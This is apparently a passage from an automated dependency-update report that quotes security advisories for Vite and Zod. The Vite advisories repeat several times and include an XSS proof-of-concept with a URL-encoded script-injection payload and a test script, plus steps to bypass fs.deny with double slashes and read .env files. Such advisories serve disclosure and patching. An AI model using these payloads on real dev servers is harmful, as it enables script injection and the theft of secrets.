appType: 'custom', HTML is served manually, and ifserver.transformIndexHtmlis called with the unmodified request URL (as the SSR docs suggest), then the path of the transformedhtml-proxyscript varies with the request URL. For example, a request with path/produces<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>which demonstrates XSS.
PoC
- Example 1. Serving HTML from
vite devmiddleware withappType: 'custom'
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html
- "Open in New Tab"
- Edit URL to set query string to
?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3Eand navigate- Witness XSS:
- Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server
- (Same steps as above)
- Example 3. Plain
vite dev(this shows that vanillavite devis not vulnerable, providedhtmlFallbackMiddlewareis used)
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev
- (Same steps as above)
- You should not see the alert box in this case
Detailed Impact
This will probably predominantly affect development-mode SSR, where
vite.transformHtmlis called using the originalreq.url, per the docs:Lines 114 to 126 in 7fd7c6c
However, since this vulnerability affects
server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls toserver.transformIndexHtmlfrom outside of Vite's own codebase.My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises'; import * as vite from 'vite'; const html = ` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> </head> <body> <script type="module"> // Inline script </script> </body> </html> `; const server = await vite.createServer({ appType: 'custom' }); const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html); console.log(transformed); await server.close();and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).
๐จ Vite XSS vulnerability in `server.transformIndexHtml` via URL payload
Summary
When Vite's HTML transformation is invoked manually via
server.transformIndexHtml, the original request URL is passed in unmodified, and thehtmlbeing transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string toserver.transformIndexHtml.Impact
Only apps using
appType: 'custom'and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.Patches
Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12
Details
Suppose
index.htmlcontains an inline module script:<script type="module"> // Inline script </script>This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>due to Vite's HTML plugin:
vite/packages/vite/src/node/plugins/html.ts
Lines 429 to 465 in 7fd7c6c
When
appType: 'spa' | 'mpa', Vite serves HTML itself, andhtmlFallbackMiddlewarerewritesreq.urlto the canonical path ofindex.html,vite/packages/vite/src/node/server/middlewares/htmlFallback.ts
Lines 44 to 47 in 73ef074
so the
urlpassed toserver.transformIndexHtmlis/index.html.However, if
appType: 'custom', HTML is served manually, and ifserver.transformIndexHtmlis called with the unmodified request URL (as the SSR docs suggest), then the path of the transformedhtml-proxyscript varies with the request URL. For example, a request with path/produces<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>which demonstrates XSS.
PoC
- Example 1. Serving HTML from
vite devmiddleware withappType: 'custom'
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html
- "Open in New Tab"
- Edit URL to set query string to
?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3Eand navigate- Witness XSS:
- Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server
- (Same steps as above)
- Example 3. Plain
vite dev(this shows that vanillavite devis not vulnerable, providedhtmlFallbackMiddlewareis used)
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev
- (Same steps as above)
- You should not see the alert box in this case
Detailed Impact
This will probably predominantly affect development-mode SSR, where
vite.transformHtmlis called using the originalreq.url, per the docs:Lines 114 to 126 in 7fd7c6c
However, since this vulnerability affects
server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls toserver.transformIndexHtmlfrom outside of Vite's own codebase.My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises'; import * as vite from 'vite'; const html = ` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> </head> <body> <script type="module"> // Inline script </script> </body> </html> `; const server = await vite.createServer({ appType: 'custom' }); const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html); console.log(transformed); await server.close();and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).
๐จ Vite XSS vulnerability in `server.transformIndexHtml` via URL payload
Summary
When Vite's HTML transformation is invoked manually via
server.transformIndexHtml, the original request URL is passed in unmodified, and thehtmlbeing transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string toserver.transformIndexHtml.Impact
Only apps using
appType: 'custom'and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.Patches
Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12
Details
Suppose
index.htmlcontains an inline module script:<script type="module"> // Inline script </script>This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>due to Vite's HTML plugin:
vite/packages/vite/src/node/plugins/html.ts
Lines 429 to 465 in 7fd7c6c
When
appType: 'spa' | 'mpa', Vite serves HTML itself, andhtmlFallbackMiddlewarerewritesreq.urlto the canonical path ofindex.html,vite/packages/vite/src/node/server/middlewares/htmlFallback.ts
Lines 44 to 47 in 73ef074
so the
urlpassed toserver.transformIndexHtmlis/index.html.However, if
appType: 'custom', HTML is served manually, and ifserver.transformIndexHtmlis called with the unmodified request URL (as the SSR docs suggest), then the path of the transformedhtml-proxyscript varies with the request URL. For example, a request with path/produces<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>which demonstrates XSS.
PoC
- Example 1. Serving HTML from
vite devmiddleware withappType: 'custom'
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html
- "Open in New Tab"
- Edit URL to set query string to
?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3Eand navigate- Witness XSS:
- Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server
- (Same steps as above)
- Example 3. Plain
vite dev(this shows that vanillavite devis not vulnerable, providedhtmlFallbackMiddlewareis used)
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev
- (Same steps as above)
- You should not see the alert box in this case
Detailed Impact
This will probably predominantly affect development-mode SSR, where
vite.transformHtmlis called using the originalreq.url, per the docs:Lines 114 to 126 in 7fd7c6c
However, since this vulnerability affects
server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls toserver.transformIndexHtmlfrom outside of Vite's own codebase.My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises'; import * as vite from 'vite'; const html = ` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> </head> <body> <script type="module"> // Inline script </script> </body> </html> `; const server = await vite.createServer({ appType: 'custom' }); const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html); console.log(transformed); await server.close();and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).
๐จ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
๐จ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
๐จ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
๐จ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
๐จ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 6 commits:
โ๏ธ vitefu (indirect, 0.2.2 โ 1.1.1) ยท Repo ยท Changelog
Release Notes
1.1.1
- fix: ensure workspaceRoot option works on windows (#26)
1.1.0
- Add workspaceRoot option to
crawlFrameworkPkgsthat enables crawling devDependencies of local workspace private packages (#23)
1.0.7
- Allow Vite 7 peer dependency (#21)
1.0.6
- Handle
ssr.external: trueVite config when callingcrawlFrameworkPkgsandisDepExternaled(#19)NOTE: v1.0.5 was forgotten to release on GitHub. Here are its release notes:
- Don't require
package.jsonto exist forcrawlFrameworkPkgs(#16)
1.0.5 (from changelog)
- Don't require
package.jsonto exist forcrawlFrameworkPkgs(#16)
1.0.4
- Allow Vite 6 peer dependency (remove beta support)
1.0.3
- Allow Vite 6 beta peer dependency (experimental support)
NOTE: v1.0.1 and v1.0.2 are hot fixes for the types exports.
1.0.2 (from changelog)
- Duplicate CJS types to correct ESM types export
1.0.1 (from changelog)
- Fix ESM types export
1.0.0
The library is now v1! This release is mostly ceremonial as the API has been stable for a while without any plans to change it. As such, there are no breaking changes.
- Remove top-level await to allow future compatibility to
requireESM code- Export proper ESM and CJS types
0.2.5
- Align
findDepPkgJsonPathimplementation with Vite- Allow Vite 5 peer dependency
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 32 commits:
release 1.1.1 (#27)fix: ensure isPrivateWorkspacePackage works on windows (#26)release 1.1.0 (#25)feat: add workspaceRoot option to crawl (#23)Release 1.0.7 (#22)feat: extend peer dependency range to include vite7 (#21)Release v1.0.6Handle `ssr.external: true` for `isDepExternaled` (#19)Fix corepack CI issue (#20)Release v1.0.5Don't require `package.json` to exist for `crawlFrameworkPkgs` (#16)Fix broken dts link in readme (#17)Release v1.0.4Remove -beta.2 from vite 6 peerDeps (#14)Release v1.0.3Bump vite to fix vulnerabilityAllow Vite 6 beta peer dependency (#13)Release v1.0.2Fix ESM and CJS types (#12)Release v1.0.1Fix ESM typesRelease v1.0.0Fix typesRemove TLA and export proper types (#10)chore: refactor ci to use corepack and package manager via matrix (#11)Release v0.2.5Allow Vite 5 peer dependencyMatch findDepPkgJsonPath implementation to Vite (#9)Release v0.2.4Use `node:fs` version of `realpath` (#7)Release v0.2.3Allow Vite 4 peer dependency
โ๏ธ widest-line (indirect, 4.0.1 โ 5.0.0) ยท Repo
Release Notes
5.0.0
Breaking
- Require Node.js 18 0411701
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 4 commits:
โ๏ธ yocto-queue (indirect, 0.1.0 โ 1.2.1) ยท Repo
Release Notes
1.2.1
1.2.0
1.1.1
- Fix Node.js 12 compatibility 90ab935
1.1.0
- Add
.peek()method 5bf850c
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 13 commits:
โ๏ธ zod (indirect, 3.19.1 โ 3.25.76) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Zod denial of service vulnerability
Zod version 3.22.2 allows an attacker to perform a denial of service while validating emails.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 5 commits:



















